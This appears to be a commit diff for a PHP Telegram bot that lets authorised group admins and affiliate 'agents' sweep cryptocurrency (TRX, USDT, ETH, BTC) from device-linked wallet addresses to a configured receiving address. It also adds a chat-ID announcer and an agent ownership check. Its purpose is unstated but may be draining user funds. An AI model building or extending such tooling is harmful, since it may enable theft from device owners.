private function e(?string $value): string
|
||||
|
||||
@@ -2,19 +2,14 @@
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class HelpCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot): void
|
||||
{
|
||||
$lines = [
|
||||
'📖 可用指令(仅指定群管理员)',
|
||||
$bot->sendMessage(implode("\n", [
|
||||
'📖 可用指令(仅系统已配置群的管理员)',
|
||||
'',
|
||||
'/help',
|
||||
' 查看本帮助',
|
||||
@@ -33,26 +28,14 @@ class HelpCommand
|
||||
'',
|
||||
'/channel',
|
||||
' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接',
|
||||
];
|
||||
|
||||
if ($this->context->isOfficial()) {
|
||||
$lines = array_merge($lines, [
|
||||
'',
|
||||
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
|
||||
' 从设备地址转出到配置收款地址(仅官方)',
|
||||
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
|
||||
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
||||
' 例: /transfer Txxx USDT 10',
|
||||
' 例: /transfer 0x… ETH',
|
||||
' 例: /transfer 1… BTC 0.01',
|
||||
]);
|
||||
} else {
|
||||
$lines = array_merge($lines, [
|
||||
'',
|
||||
'(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)',
|
||||
]);
|
||||
}
|
||||
|
||||
$bot->sendMessage(implode("\n", $lines));
|
||||
'',
|
||||
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
|
||||
' 从设备地址转出到配置收款地址',
|
||||
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
|
||||
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
||||
' 例: /transfer Txxx USDT 10',
|
||||
' 例: /transfer 0x… ETH',
|
||||
' 例: /transfer 1… BTC 0.01',
|
||||
]));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatType;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ParseMode;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\CopyTextButton;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardButton;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardMarkup;
|
||||
|
||||
class JoinedChatHandler
|
||||
{
|
||||
private const IN_GROUP = ['member', 'administrator', 'creator', 'restricted'];
|
||||
|
||||
private const OUT_GROUP = ['left', 'kicked'];
|
||||
|
||||
public function __invoke(Nutgram $bot): void
|
||||
{
|
||||
$update = $bot->chatMember();
|
||||
if ($update === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$type = $update->chat->type ?? null;
|
||||
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
|
||||
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$old = $this->statusValue($update->old_chat_member->status ?? null);
|
||||
$new = $this->statusValue($update->new_chat_member->status ?? null);
|
||||
if (! in_array($old, self::OUT_GROUP, true) || ! in_array($new, self::IN_GROUP, true)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$chatId = (string) $update->chat->id;
|
||||
$title = trim((string) ($update->chat->title ?? ''));
|
||||
$lines = ['✅ Bot 已加入本群'];
|
||||
if ($title !== '') {
|
||||
$lines[] = '🏷 群名: '.$this->e($title);
|
||||
}
|
||||
$lines[] = '🆔 Chat ID: <code>'.$this->e($chatId).'</code>';
|
||||
$lines[] = '';
|
||||
$lines[] = '把上面的 Chat ID 填到后台:';
|
||||
$lines[] = '• 官方通知 → 系统设置';
|
||||
$lines[] = '• 代理单独推送 → 代理用户';
|
||||
|
||||
try {
|
||||
$bot->sendMessage(
|
||||
implode("\n", $lines),
|
||||
parse_mode: ParseMode::HTML,
|
||||
reply_markup: InlineKeyboardMarkup::make()->addRow(
|
||||
InlineKeyboardButton::make(
|
||||
text: '复制 Chat ID',
|
||||
copy_text: CopyTextButton::make($chatId),
|
||||
)
|
||||
),
|
||||
);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram join announce failed: '.$e->getMessage(), [
|
||||
'chat_id' => $chatId,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function statusValue(mixed $status): string
|
||||
{
|
||||
if ($status instanceof ChatMemberStatus) {
|
||||
return $status->value;
|
||||
}
|
||||
|
||||
return strtolower(trim((string) $status));
|
||||
}
|
||||
|
||||
private function e(string $value): string
|
||||
{
|
||||
return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
@@ -2,13 +2,19 @@
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\TransferService;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TransferCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TransferService $transfers,
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, string $args): void
|
||||
@@ -74,6 +80,13 @@ class TransferCommand
|
||||
$amount = $parts[2];
|
||||
}
|
||||
|
||||
$agent = $this->context->agent();
|
||||
if ($agent !== null && ! $this->addressOwnedByAgent($from, $agent)) {
|
||||
$bot->sendMessage('⛔ 无权操作该地址(仅限本代理渠道设备)');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
|
||||
$bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …");
|
||||
|
||||
@@ -151,4 +164,31 @@ class TransferCommand
|
||||
|
||||
return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}";
|
||||
}
|
||||
|
||||
private function addressOwnedByAgent(string $fromAddress, User $agent): bool
|
||||
{
|
||||
$channelIds = Channel::query()
|
||||
->where('user_id', $agent->id)
|
||||
->pluck('channel_id');
|
||||
if ($channelIds->isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$deviceIds = Device::query()
|
||||
->whereIn('channel_id', $channelIds)
|
||||
->pluck('id');
|
||||
if ($deviceIds->isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return WalletAddress::query()
|
||||
->whereIn('device_id', $deviceIds)
|
||||
->where(function ($q) use ($fromAddress) {
|
||||
$q->where('address', $fromAddress);
|
||||
if (str_starts_with(strtolower($fromAddress), '0x')) {
|
||||
$q->orWhereRaw('LOWER(address) = ?', [strtolower($fromAddress)]);
|
||||
}
|
||||
})
|
||||
->exists();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,8 +8,8 @@ use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatType;
|
||||
|
||||
/**
|
||||
* Allow only the configured owner group/supergroup for the current bot context
|
||||
* (official system chat or the active agent's chat_id).
|
||||
* Allow only the official owner chat or an enabled agent's chat_id.
|
||||
* Binds TelegramBotContext so later handlers know official vs agent.
|
||||
*/
|
||||
class AuthorizedChat
|
||||
{
|
||||
@@ -19,21 +19,11 @@ class AuthorizedChat
|
||||
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
$expected = $this->context->expectedChatId();
|
||||
if ($expected === '') {
|
||||
Log::warning('telegram AuthorizedChat: chat id empty', [
|
||||
'agent_id' => $this->context->agent()?->id,
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
$chatId = $bot->chatId();
|
||||
if ($chatId === null || (string) $chatId !== $expected) {
|
||||
if (! $this->context->bindFromChatId($chatId)) {
|
||||
Log::info('telegram AuthorizedChat: chat rejected', [
|
||||
'chat_id' => $chatId,
|
||||
'expected' => $expected,
|
||||
'agent_id' => $this->context->agent()?->id,
|
||||
'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')),
|
||||
]);
|
||||
|
||||
return null;
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
/** Blocks /transfer (and similar) on agent bots. */
|
||||
class OfficialBotOnly
|
||||
{
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
if (! app(TelegramBotContext::class)->isOfficial()) {
|
||||
$bot->sendMessage('⛔ /transfer 仅限官方系统群使用');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
/** Blocks /transfer (and similar) on agent bots. */
|
||||
class OfficialOnly
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
if (! $this->context->isOfficial()) {
|
||||
$bot->sendMessage('⛔ /transfer 仅限官方机器人使用');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -5,8 +5,8 @@ namespace App\Telegram;
|
||||
use App\Models\User;
|
||||
|
||||
/**
|
||||
* Request-scoped Telegram bot identity.
|
||||
* null agent = official system bot; otherwise an agent-configured bot.
|
||||
* Request-scoped Telegram identity.
|
||||
* null agent = official owner chat; otherwise the agent whose chat_id matched.
|
||||
*/
|
||||
class TelegramBotContext
|
||||
{
|
||||
@@ -41,8 +41,35 @@ class TelegramBotContext
|
||||
return trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
}
|
||||
|
||||
public static function webhookSecretFor(User $agent): string
|
||||
/**
|
||||
* Bind official vs agent from the incoming chat_id.
|
||||
* Official owner_chat_id wins if it collides with an agent.
|
||||
*/
|
||||
public function bindFromChatId(int|string|null $chatId): bool
|
||||
{
|
||||
return hash_hmac('sha256', 'telegram-agent:'.$agent->id, (string) config('app.key'));
|
||||
$chatId = trim((string) $chatId);
|
||||
if ($chatId === '') {
|
||||
$this->agent = null;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
if ($owner !== '' && $chatId === $owner) {
|
||||
$this->agent = null;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
$agent = User::findEnabledByChatId($chatId);
|
||||
if ($agent === null) {
|
||||
$this->agent = null;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$this->agent = $agent;
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,41 +2,28 @@
|
||||
|
||||
namespace App\Telegram;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Telegram\Handlers\ChannelCommand;
|
||||
use App\Telegram\Handlers\DataCommand;
|
||||
use App\Telegram\Handlers\HelpCommand;
|
||||
use App\Telegram\Handlers\JoinedChatHandler;
|
||||
use App\Telegram\Handlers\PingCommand;
|
||||
use App\Telegram\Handlers\TransferCommand;
|
||||
use App\Telegram\Middleware\AuthorizedChat;
|
||||
use App\Telegram\Middleware\GroupAdminOnly;
|
||||
use App\Telegram\Middleware\OfficialOnly;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TelegramRegistrar
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
/** Official system bot — includes /transfer. Does not mutate bot context. */
|
||||
/** Single site bot. Official vs agent is resolved from chat_id. */
|
||||
public function registerOfficial(Nutgram $bot): void
|
||||
{
|
||||
$this->registerShared($bot, allowTransfer: true);
|
||||
}
|
||||
// Announce chat_id when invited — must not use AuthorizedChat
|
||||
// so unconfigured groups can still copy the id into admin settings.
|
||||
$bot->onMyChatMember(JoinedChatHandler::class);
|
||||
|
||||
/** Agent bot — no /transfer; binds request context to this agent. */
|
||||
public function registerAgent(Nutgram $bot, User $agent): void
|
||||
{
|
||||
$this->context->setAgent($agent);
|
||||
$this->registerShared($bot, allowTransfer: false);
|
||||
}
|
||||
|
||||
private function registerShared(Nutgram $bot, bool $allowTransfer): void
|
||||
{
|
||||
// HandlerGroup::middleware() unshifts — register GroupAdminOnly first so
|
||||
// AuthorizedChat ends up outermost (chat allowlist before admin check).
|
||||
$bot->group(function (Nutgram $bot) use ($allowTransfer) {
|
||||
$bot->group(function (Nutgram $bot) {
|
||||
$bot->onCommand('help', HelpCommand::class)
|
||||
->description('List available commands');
|
||||
|
||||
@@ -53,12 +40,9 @@ class TelegramRegistrar
|
||||
$bot->onCommand('channel', ChannelCommand::class)
|
||||
->description('List channels; copy promo iframe (new) or support link (old)');
|
||||
|
||||
if ($allowTransfer) {
|
||||
$bot->onCommand('transfer {args}', TransferCommand::class)
|
||||
->where('args', '.+')
|
||||
->middleware(OfficialOnly::class)
|
||||
->description('Transfer TRX or USDT from a device address (omit amount = all)');
|
||||
}
|
||||
$bot->onCommand('transfer {args}', TransferCommand::class)
|
||||
->where('args', '.+')
|
||||
->description('Transfer TRX or USDT from a device address (omit amount = all)');
|
||||
})
|
||||
->middleware(GroupAdminOnly::class)
|
||||
->middleware(AuthorizedChat::class);
|
||||
|
||||
Reference in New Issue
Block a user